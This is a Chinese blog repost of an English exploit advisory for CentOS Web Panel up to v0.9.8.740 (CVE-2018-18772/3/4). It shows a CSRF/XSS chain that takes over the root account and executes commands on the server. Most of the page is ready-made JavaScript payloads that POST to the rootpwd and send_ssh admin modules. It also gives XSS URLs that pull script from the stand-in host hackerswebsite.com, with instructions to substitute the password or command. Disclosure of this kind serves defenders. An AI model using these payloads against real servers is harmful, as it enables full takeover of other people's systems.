CentOS远程执行漏洞

CentOSWebPanel存在远程命令执行漏洞,攻击者可通过CSRF或XSS改变root密码及执行命令,导致服务器被完全接管。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

完整标题:CentOS Web Panel Root帐户接管<= v0.9.8.740远程命令执行漏洞利用

添加日期:2018年11月5日

类别:远程执行漏洞

CVE:CVE-2018-18773,CVE-2018-18772,CVE-2018-18774

平台:PHP

原创作者:InfinitumIT

攻击载荷代码:

[+] Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
[+] Author: InfinitumIT (https://infinitumit.com.tr)
[+] Vendor Homepage: centos-webpanel.com
[+] Software Link: http://centos-webpanel.com/cwp-latest
[+] Version: Up to v0.9.8.740.
[+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
[+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs
  
[~] Description:
  
Attacker can change target server's root password and execute command, by CSRF vulnerability. 
Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS 
vulnerability and run bad-purposed JavaScript codes on administrator's browser.
So, CSRF/XSS to full server takeover.
 
[~] How to Reproduce:
 
Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
Hacker will create a website and put those codes into source:
 
<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>
 
(Update newpassword as the password that you want to change.)
 
If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
After exploiting, you can connect to server by Putty or access the CWP panel with the password that you have specified from 2030 port.
 
The second vulnerability is remote command execution.
Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
Again, hacker will create a website and put those codes into source:
 
<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>
 
(Update whoami as command that you want to run.)
 
Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>
 
// shouldnt think that CSRF/XSS are unimportant vulnerabilities.
// for secure days...

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值